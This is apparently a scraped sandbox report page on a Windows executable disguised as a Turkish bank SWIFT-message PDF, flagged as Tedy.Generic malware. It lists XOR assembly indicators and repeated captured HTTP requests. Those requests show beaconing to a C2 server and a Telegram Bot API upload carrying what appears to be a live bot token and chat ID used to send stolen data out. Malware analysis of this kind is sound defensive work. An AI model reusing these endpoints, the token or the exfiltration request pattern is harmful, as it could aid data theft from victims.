24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 3e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T49f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Tedy.Generic Sample 3a544ee360c3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3a544ee360c3…. Malware family: Tedy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 7 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7","keywords":["Malicious","Tedy.Generic","malware analysis","sandbox report","threat intelligence","3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7"],"about":{"@type":"SoftwareApplication","name":"Ziraat Bankası Swift Mesajı_pdf.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Tedy.Generic","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T528,Assembly shows XOR instruction xor rax rsp in Stream UID: 21707-605-0000000140014CE0 Assembly shows XOR instruction xor eax esp in Stream UID: 21707-605-0000000140014CE0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 21707-605-0000000140014CE0 Assembly shows XOR instruction xor ecx esp in Stream UID: 21707-605-0000000140014CE0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 21707-805-000000014000E170 Assembly shows XOR instruction xor ecx esp in Stream UID: 21707-805-000000014000E170 Assembly shows XOR instruction xor qword ptr [rbp-10h] rax in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor dword ptr [rbp-10h] eax in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor rax qword ptr [rbp+18h] in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor eax dword ptr [rbp+18h] in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor rax qword ptr [rbp-10h] in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor eax dword ptr [rbp-10h] in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor rax rcx in Stream UID: 21707-1151-000000014000D75D Assembly shows XOR instruction xor eax ecx in Stream UID: 21707-1151-000000014000D75D26:T13baf,Contains base64 string in header "POST" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "type" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "form" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "urlencodedAccept" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "usAccept" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NET4" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "60Connection" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /CPndoF HTTP/1.1Accept: */*content-type: application/x-www-form-urlencodedAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 60Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "0CPIMYQFVLGQMTAY" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "usAccept" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "NET4" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.3.45.7:3121Content-Length: 0Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "clients2" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "keep" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "like" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "36Accept" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "Encoding" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "gzip" in header "GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1Host: clients2.google.comConnection: keep-alivePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate" Contains base64 string in header "POST" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "chat" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "0A1644804321" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "1Content" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "data" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "16ba15eb" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "ba3a" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "4fef" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "bb8e" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "3f99ea5a7c44" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "Host" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "telegram" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44"Host: api.telegram.orgContent-Length: 279Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "chat" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "0A1644804321" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "1Content" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "Type" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "data" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "cab6095a" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "de59" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "4c45" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "a8a8" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "d6ba0db24ddf" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "Host" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "telegram" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf"Host: api.telegram.orgContent-Length: 285" Contains base64 string in header "POST" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "chat" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "0A1644804321" in header "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42"Host: api.telegram.orgContent-Length: 279" Contains base64 string in header "1Content" in header "POST 